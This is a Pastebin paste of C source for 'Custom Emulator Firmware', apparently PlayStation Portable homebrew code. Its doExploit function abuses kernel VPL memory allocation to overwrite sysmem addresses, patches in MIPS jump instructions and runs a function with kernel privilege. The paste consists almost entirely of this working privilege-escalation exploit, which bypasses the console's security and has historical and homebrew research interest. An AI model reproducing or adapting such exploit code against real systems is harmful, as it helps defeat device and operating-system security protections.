Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- Custom Emulator Firmware
- Copyright (C) 2012-2015, Total_Noob
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>.
- */
- #include <common.h>
- #include "main.h"
- #include "libc.h"
- #include "utils.h"
- u32 sw_address_300 = 0x88014380;
- u32 sw_address_335 = 0x88014640;
- __attribute__((noinline)) int ValidUserAddressVolatileMem(void *addr)
- {
- if((u32)addr >= 0x08400000 && (u32)addr < 0x08800000) return 1;
- return 0;
- }
- u32 FindImportVolatileMem(const char *libname, u32 nid)
- {
- u32 i;
- for(i = 0x08400000; i < 0x08800000; i += 4)
- {
- SceLibraryStubTable *stub = (SceLibraryStubTable *)i;
- if(ValidUserAddressVolatileMem((void *)stub->libname) && ValidUserAddressVolatileMem(stub->nidtable) && ValidUserAddressVolatileMem(stub->stubtable))
- {
- if(_strcmp(stub->libname, libname) == 0)
- {
- u32 *table = stub->nidtable;
- int j;
- for(j = 0; j < stub->stubcount; j++)
- {
- if(table[j] == nid)
- {
- return ((u32)stub->stubtable + (j * 8));
- }
- }
- }
- }
- }
- return 0;
- }
- void RepairSysmem()
- {
- _sw(0, sw_address_300);
- _sw(0, sw_address_300 + 4);
- _sw(0, sw_address_335);
- _sw(0, sw_address_335 + 4);
- }
- void doExploit()
- {
- /* Find imports in RAM */
- void (* _sceKernelLibcClock)() = (void *)FindImport("UtilsForUser", 0x91E4F6A7);
- void (* _sceKernelDcacheWritebackAll)() = (void *)FindImport("UtilsForUser", 0x79D1C3FA);
- int (* _sceKernelDelayThread)(SceUInt delay) = (void *)FindImport("ThreadManForUser", 0xCEADEB47);
- int (* _sceUtilitySavedataGetStatus)(void) = (void *)FindImport("sceUtility", 0x8874DBE0);
- int (* _sceUtilitySavedataInitStart)(SceUtilitySavedataParam *params) = (void *)FindImport("sceUtility", 0x50C4CD57);
- if(!_sceKernelLibcClock || !_sceKernelDcacheWritebackAll) ErrorFlashScreen();
- if(!_sceKernelDelayThread || !_sceUtilitySavedataGetStatus || !_sceUtilitySavedataInitStart) ErrorFlashScreen();
- /* Unlock volatile memory if necessary */
- int (* sceKernelVolatileMemUnlock)(int unk) = (void *)FindImport("sceSuspendForUser", 0xA569E425);
- if(sceKernelVolatileMemUnlock)
- {
- sceKernelVolatileMemUnlock(0);
- }
- /* Load required module */
- SceUtilitySavedataParam dialog;
- _memset(&dialog, 0, sizeof(SceUtilitySavedataParam));
- dialog.base.size = sizeof(SceUtilitySavedataParam);
- dialog.base.graphicsThread = 0x11;
- dialog.base.accessThread = 0x13;
- dialog.base.fontThread = 0x12;
- dialog.base.soundThread = 0x10;
- dialog.mode = PSP_UTILITY_SAVEDATA_AUTOLOAD;
- _sceUtilitySavedataInitStart(&dialog);
- while(_sceUtilitySavedataGetStatus() < 2)
- {
- _sceKernelDelayThread(100);
- }
- /* Find the vulnerable function */
- SceUID (* _sceKernelCreateVpl)(const char *name, int part, int attr, unsigned int size, struct SceKernelVplOptParam *opt) = (void *)FindImportVolatileMem("ThreadManForUser", 0x56C039B5);
- int (* _sceKernelTryAllocateVpl)(SceUID uid, unsigned int size, void **data) = (void *)FindImportVolatileMem("ThreadManForUser", 0xAF36D708);
- int (* _sceKernelFreeVpl)(SceUID uid, void *data) = (void *)FindImportVolatileMem("ThreadManForUser", 0xB736E9FF);
- int (* _sceKernelDeleteVpl)(SceUID uid) = (void *)FindImportVolatileMem("ThreadManForUser", 0x89B3D48C);
- if(!_sceKernelCreateVpl || !_sceKernelTryAllocateVpl || !_sceKernelFreeVpl || !_sceKernelDeleteVpl) ErrorFlashScreen();
- /* Exploit */
- SceUID vpl = _sceKernelCreateVpl("", 2, 1, 512, NULL);
- _sceKernelTryAllocateVpl(vpl, 256, (void *)0x08801000);
- u32 address = *(u32 *)(*(u32 *)0x08801000 + 0x100);
- _sceKernelFreeVpl(vpl, (void *)0x08801000);
- _sceKernelDeleteVpl(vpl);
- vpl = _sceKernelCreateVpl("", 2, 1, 512, NULL);
- _sw(((sw_address_300 - address) + 0x108) / 8, address + 4);
- _sceKernelTryAllocateVpl(vpl, 256, (void *)0x08801000);
- _sceKernelFreeVpl(vpl, (void *)0x08801000);
- _sceKernelDeleteVpl(vpl);
- vpl = _sceKernelCreateVpl("", 2, 1, 512, NULL);
- _sw(((sw_address_335 - address) + 0x108) / 8, address + 4);
- _sceKernelTryAllocateVpl(vpl, 256, (void *)0x08801000);
- _sceKernelFreeVpl(vpl, (void *)0x08801000);
- _sceKernelDeleteVpl(vpl);
- u32 jumpto = address - 16;
- u32 addr = 0x08800000;
- REDIRECT_FUNCTION(jumpto, addr);
- u32 kfuncaddr = (u32)&kernel_function | 0x80000000;
- _sw(0x3C020000 | (kfuncaddr >> 16), addr); //lui $v0, %high(kernel_function)
- _sw(0x34420000 | (kfuncaddr & 0xFFFF), addr + 4); //ori $v0, $v0, %low(kernel_function)
- _sw(0x00400008, addr + 8); //jr $v0
- _sw(0, addr + 12); //nop
- _sceKernelDcacheWritebackAll();
- /* Execute kernel function */
- _sceKernelLibcClock();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement